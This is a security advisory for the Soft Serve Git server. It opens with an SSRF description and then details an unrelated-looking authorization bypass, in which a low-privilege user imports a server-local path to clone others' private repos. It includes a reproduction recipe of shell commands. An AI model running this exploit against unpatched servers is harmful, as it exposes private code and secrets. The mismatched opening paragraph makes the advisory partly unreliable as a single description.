Soft Serve is a self-hostable Git server for the command line. From version 0.6.0 to before version 0.11.4, an authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running repo import with a crafted --lfs-endpoint URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets. This issue has been patched in version 0.11.4.
Summary An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.
Details Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.
The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATAPATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.
The relevant vulnerable flow is: - pkg/ssh/cmd/import.go - pkg/ssh/cmd/cmd.go:172 - pkg/backend/user.go:94 - pkg/backend/repo.go:102
PoC Configuration: - Default local test configuration is sufficient. - SSH must be enabled. - At least two users are needed: one owner/admin and one low-privilege authenticated user.
Reproduction steps: 1. Start Soft Serve. 2. As an admin, create a private repo:
sh soft repo create secret -p
3. Create a second low-privilege user:
sh soft user create user1 --key "$USER1AUTHORIZEDKEY"
4. Seed the private repo with secret content:
sh git clone ssh://localhost:$SSHPORT/secret secret echo 'top secret' > secret/SECRET.txt git -C secret add SECRET.txt git -C secret commit -m 'first' git -C secret push origin HEAD
5. Confirm the low-privilege user cannot access the private repo directly:
sh usoft repo info secret
Expected result:
text Error: repository not found
6. As the low-privilege user, import the server-local bare repo path into a new repo:
sh usoft repo import stolen "$DATAPATH/repos/secret.git" --lfs-endpoint http://example.com
7. Clone the attacker-controlled imported repo and read the secret:
sh ugit clone ssh://localhost:$SSHPORT/stolen stolen-clone cat stolen-clone/SECRET.txt
Expected result:
text top secret
Notes: - The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.
Impact This is an authorization bypass and confidentiality issue.
Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.
Impacted parties: - Operators hosting Soft Serve for multiple users or teams - Owners of private repositories on the same instance - Any deployment where untrusted authenticated users can use repo import
Practical impact: - Theft of private source code - Disclosure of secrets committed to private repos - Exposure of unreleased or internal projects - Possible follow-on supply-chain risk if stolen code contains credentials or release material